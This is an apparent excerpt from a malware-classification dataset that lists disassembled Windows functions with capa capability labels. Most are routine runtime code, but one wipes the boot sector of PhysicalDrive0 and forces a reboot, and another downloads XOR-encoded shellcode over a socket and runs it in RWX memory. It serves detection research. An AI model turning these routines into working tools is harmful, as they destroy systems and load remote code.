joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010f5
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x1400042d8
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140004365
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004365
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004365
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14000434c
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140004346
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000434e
add rdx, 0x28
jmp 0x14000432b
xor edx, edx
test rdx, rdx
jne 0x140004357
xor al, al
jmp 0x14000436b
cmp dword [rdx + 0x24], 0
jge 0x140004361
xor al, al
jmp 0x14000436b
mov al, 1
jmp 0x14000436b
xor al, al
jmp 0x14000436b
add rsp, 0x18
ret

Function at 0x14000115e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400051d4
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x1400011b3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140004ed0
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004f1b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004f1b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004f1b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004f1b
cmp dword [rcx + 0x84], 0xe
jbe 0x140004f1b
cmp dword [rcx + 0xf8], 0
je 0x140004f1b
mov al, 1
jmp 0x140004f1d
xor al, al
add rsp, 0x28
ret
Function at 0x140f3f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140f3f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f3f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3f06f
add dl, dl
jne 0x140f3f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3f0f6
xor eax, eax
add dl, dl
jne 0x140f3f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3f1ad
add dl, dl
jne 0x140f3f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f3f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f3f07e
mov eax, 1
add dl, dl
jne 0x140f3f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3f0fb
sub eax, ebx
mov ebx, 1
jne 0x140f3f14c
mov ecx, 1
add dl, dl
jne 0x140f3f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f3f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3f15d
cmp eax, 0x7d00
jae 0x140f3f19b
cmp eax, 0x500
jb 0x140f3f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3f07e
cmp eax, 0x7f
ja 0x140f3f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f3f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f3f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18000a0b8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18000a127
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000a127
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18000a127
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18000a127
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000a127
cmp dword [rcx + 0x84], 0xe
jbe 0x18000a127
cmp dword [rcx + 0xf8], 0
je 0x18000a127
mov ecx, ebx
call fcn.18000a1d8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180009fb4
nop
cmp dword [rbp + 0x20], 0
je 0x18000a175
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18000a180
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x18000a0b8
Function at 0x18000f918
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000f948
xor eax, eax
jmp 0x18000fa0b
mov rbp, rbx
cmp word [rax], si
je 0x18000f96d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000f954
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000f950
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000f838
movsxd r14, eax
test eax, eax
jne 0x18000f9ab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000f941
mov rcx, r14
call fcn.18000be98
mov rdi, rax
test rax, rax
jne 0x18000f9c4
xor ecx, ecx
call fcn.18000b30c
jmp 0x18000f9a0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000f838
test eax, eax
jne 0x18000f9f5
mov rcx, rdi
call fcn.18000b30c
jmp 0x18000f9ff
xor ecx, ecx
call fcn.18000b30c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800133dc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800133f2
mov al, 1
jmp 0x180013452
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180013403
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180013450
mov ecx, dword [rcx + 0x18]
nop
call fcn.180011220
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180013450
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180013450
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180013450
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180013452
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1800167c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800167e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800167e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
adc dword [rsp + rbx*8], ebp
pop rcx
mov cl, dh
invalid
Function at 0x140001070
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov edx, 2
mov qword [rsp + 0x30], 0
mov r8d, edx
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov dword [rsp + 0x20], 3
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010d3
lea rcx, str.Couldnt_open_PhysicalDrive0_n
call fcn.140001010
jmp 0x14000112c
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x1fe
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov word [rsp + 0x23e], 0xaa55
mov r8d, 0x200
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000111f
lea rcx, str.Couldnt_write_to_PhysicalDrive0_n
call fcn.140001010
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140001160
add rsp, 0x250
pop rbx
ret

Function at 0x140001a20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a6c
xor al, al
add rsp, 0x28
ret
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
invalid
fdivr st(0), st(0)
invalid
invalid
invalid
mov esp, 0xdcfff1d5
hlt
invalid
invalid
invalid
cld
call rax
out 0xfc, al
call rax
out 0xfc, al
dec edi
out 0xfc, al
dec edi
out 0xfc, al
dec edi
in eax, 0xfc
dec esi
out 0xfd, al
dec esi
out 0xfe, eax
call rsp
out dx, al
invalid
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Create thread
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
mov eax, 0x11f8
call fcn.140002250
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x11e0], rax
movzx esi, dx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x1e0]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000105b
mov eax, 0xffffffff
jmp 0x140001210
mov edx, 1
mov qword [rsp + 0x1220], rbx
mov qword [rsp + 0x11f0], rbp
mov ebp, 2
mov ecx, ebp
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011f5
movzx ecx, si
mov word [rsp + 0x30], bp
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x34]
mov rdx, rdi
mov ecx, ebp
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x1400011ec
lea r8d, [rbp + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x1400011ec
xor r9d, r9d
lea rdx, [rsp + 0x1e0]
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
movdqa xmm2, xmmword [str.aaaaaaaaaaaaaaaa_]
lea rax, [rsp + 0x1f0]
xor edi, edi
mov ecx, edi
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x1000
jb 0x140001110
movsxd rax, ecx
cmp rax, 0x1000
jae 0x140001191
lea rax, [rsp + rax + 0x1e0]
nop dword [rax]
nop word [rax + rax]
xor byte [rax], 0x61
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x1000
jb 0x140001180
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x1000
lea rdx, [rsp + 0x1e0]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140001200
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x1220]
mov rbp, qword [rsp + 0x11f0]
mov rcx, qword [rsp + 0x11e0]
xor rcx, rsp
call fcn.140001550
add rsp, 0x11f8
pop rdi
pop rsi
ret
Function at 0x140001230
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r8, str.mutant_sardaukar00
mov edi, ecx
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001283
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp edi, 3
je 0x1400012b6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012e0
mov rcx, rax
lea rdx, [0x140001490]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword [rbx + 8]
mov edx, eax
call section..text
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001e18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e64
xor al, al
add rsp, 0x28
ret
Function at 0x14001103c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140011e90
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400250c0]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14002b0a0]
call fcn.140011488
nop
mov byte [rbp + 8], 0x41
mov byte [rbp + 9], 0x64
mov byte [rbp + 0xa], 0x64
mov byte [rbp + 0xb], 0x56
mov byte [rbp + 0xc], 0x65
mov byte [rbp + 0xd], 0x63
mov byte [rbp + 0xe], 0x74
mov byte [rbp + 0xf], 0x6f
mov byte [rbp + 0x10], 0x72
mov byte [rbp + 0x11], 0x65
mov byte [rbp + 0x12], 0x64
mov byte [rbp + 0x13], 0x45
mov byte [rbp + 0x14], 0x78
mov byte [rbp + 0x15], 0x63
mov byte [rbp + 0x16], 0x65
mov byte [rbp + 0x17], 0x70
mov byte [rbp + 0x18], 0x74
mov byte [rbp + 0x19], 0x69
mov byte [rbp + 0x1a], 0x6f
mov byte [rbp + 0x1b], 0x6e
mov byte [rbp + 0x1c], 0x48
mov byte [rbp + 0x1d], 0x61
mov byte [rbp + 0x1e], 0x6e
mov byte [rbp + 0x1f], 0x64
mov byte [rbp + 0x20], 0x6c
mov byte [rbp + 0x21], 0x65
mov byte [rbp + 0x22], 0x72
mov byte [rbp + 0x23], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
lea rdx, [0x1400113ac]
mov ecx, 1
call qword [rbp + 0x48]
mov qword [rbp + 0x68], rax
lea rcx, [0x140025a60]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
mov rax, qword [rbp + 0x68]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001fc00]
call fcn.140011401
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140011087
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140013a10
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
lea rcx, [0x14002b166]
call fcn.140011488
nop
mov rax, qword [rbp + 0x170]
mov qword [rbp + 8], rax
mov byte [rbp + 0x28], 0x76
mov byte [rbp + 0x29], 0x34
mov byte [rbp + 0x2a], 0x2e
mov byte [rbp + 0x2b], 0x30
mov byte [rbp + 0x2c], 0x2e
mov byte [rbp + 0x2d], 0x33
mov byte [rbp + 0x2e], 0x30
mov byte [rbp + 0x2f], 0x33
mov byte [rbp + 0x30], 0x31
mov byte [rbp + 0x31], 0x39
mov dword [rbp + 0x54], 0
jmp 0x140013a91
mov eax, dword [rbp + 0x54]
inc eax
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x178]
cmp dword [rbp + 0x54], eax
jge 0x140013aea
mov dword [rbp + 0x74], 0
jmp 0x140013aad
mov eax, dword [rbp + 0x74]
inc eax
mov dword [rbp + 0x74], eax
cmp dword [rbp + 0x74], 0xa
jge 0x140013ae8
movsxd rax, dword [rbp + 0x74]
movsx eax, byte [rbp + rax + 0x28]
mov ecx, dword [rbp + 0x74]
mov edx, dword [rbp + 0x54]
add edx, ecx
mov ecx, edx
movsxd rcx, ecx
mov rdx, qword [rbp + 8]
movsx ecx, byte [rdx + rcx]
cmp eax, ecx
je 0x140013ad9
jmp 0x140013ae8
cmp dword [rbp + 0x74], 9
jne 0x140013ae6
mov eax, 1
jmp 0x140013aec
jmp 0x140013aa5
jmp 0x140013a89
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140020c70]
call fcn.140011401
mov rax, rdi
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Terminate process

Disassembly:
jmp 0x140017c20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001133e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140018f70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018f90
xor al, al
jmp 0x140019011
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018fa3
xor al, al
jmp 0x140019011
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140018fcd
xor al, al
jmp 0x140019011
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018fe1
xor al, al
jmp 0x140019011
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018ff3
xor al, al
jmp 0x140019011
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001900f
xor al, al
jmp 0x140019011
mov al, 1
add rsp, 0x38
ret
Function at 0x140011410
Capabilities:
Create mailslot

Disassembly:
jmp 0x140014560
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002b166]
call fcn.140011488
nop
xor r9d, r9d
mov r8d, 0xffffffff
xor edx, edx
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov rcx, qword [rbp + 0xe8]
mov qword [rcx], rax
mov rax, qword [rbp + 0xe8]
cmp qword [rax], 0xffffffffffffffff
jne 0x1400145ba
xor eax, eax
jmp 0x1400145bf
mov eax, 1
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret